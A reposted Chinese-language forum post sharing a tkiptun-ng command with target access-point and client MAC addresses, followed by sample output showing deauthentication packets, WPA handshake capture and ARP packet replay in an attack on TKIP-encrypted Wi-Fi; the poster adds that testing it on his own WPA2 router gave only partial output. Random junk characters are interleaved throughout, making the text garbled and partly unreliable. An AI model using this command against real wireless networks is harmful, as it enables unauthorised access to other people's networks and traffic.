新兵上阵
- 注册时间
- 2008-9-14
- 金币
- 39 个
- 威望
- 0 个
- 荣誉
- 0 个
尚未签到
|
轉貼) B2 d- G- T6 \9 N$ n$ [
The example below is incomplete but it gives some idea of how it looks.
7 P0 I6 ~" c2 g1 T
, t. b U6 u9 R1 M
9 ^& d& o6 `+ _
+ w% e0 G1 K! x 來源mac ap mac: Q( h ], Z2 O. o: j% b( e- p+ a
Input: tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 ath0
3 G6 ?* ^ T7 R" w, q
! W7 R2 _3 h, w' u1 q8 }! dOutput:! Y; s; N, G$ K$ m! K
, |, n$ H0 l# X Z/ ]# G0 H
Blub 2:38 E6 38 1C 24 15 1C CF0 [" \( Z6 E6 F1 K
Blub 1:17 DD 0D 69 1D C3 1F EE) ?) N& v# d8 Z" u- ^& T4 P
Blub 3:29 31 79 E7 E6 CF 8D 5E
& v8 g/ K3 Y4 ^) V( n/ m14:48:00 Michael Test: Successful. ~4 h$ ~- H5 r, D3 j
14:48:00 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 92 o. P% z% J, L3 R9 Z9 }0 X* h' W
14:48:00 Found specified AP' a# p. i/ ~5 ]( S
14:48:00 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 2| 4 ACKs]
+ G- M v% O* ]9 Z8 j: O14:48:02 WPA handshake: 00:14:6C:7E:40:80 captured8 v, X: ?( E6 s' X2 X2 t+ B
14:48:02 Waiting for an ARP packet coming from the Client...* H, e; r% o3 P; |5 u: j
Saving chosen packet in replay_src-1109-144822.cap/ i, P3 C, J8 `9 a6 t7 C+ F+ r
14:48:22 Waiting for an ARP response packet coming from the AP...
% E8 V' w2 Q; s. b0 ]6 A+ rSaving chosen packet in replay_src-1109-144822.cap" h* m) _5 k+ b0 G
14:48:22 Got the answer!
9 A4 K" n; Y0 Q& {14:48:22 Waiting 5 seconds to let encrypted EAPOL frames pass without interfering.5 L5 I+ C+ L- q
8 C- ?: R7 p1 f( N* y r1 c. T$ X/ N ^
Sent 40 packets, current guess: 27..
s' z) a" {* u
9 d) s1 u. R) O+ D. w) ~( m% x/ H$ @/ \% E3 H- L! Z
對自家的wpa2 ap測了一下只出現# z! E+ Z9 |, ^% `) B: j
2 L7 F; O5 t# J: z2 l9 p
Blub 2:38 E6 38 1C 24 15 1C CF
2 n9 U! O9 U# b7 A0 W, {Blub 1:17 DD 0D 69 1D C3 1F EE
4 d& v. o) Y4 K, T2 `& hBlub 3:29 31 79 E7 E6 CF 8D 5E0 H, d+ f7 H7 w( z) {% O' o
14:48:00 Michael Test: Successful6 V* v, ^. Q$ r5 S2 q2 ~/ H2 d
9 f1 R- H; Q& K1 Y7 q9 c; b
有空把密碼改改試試 |
|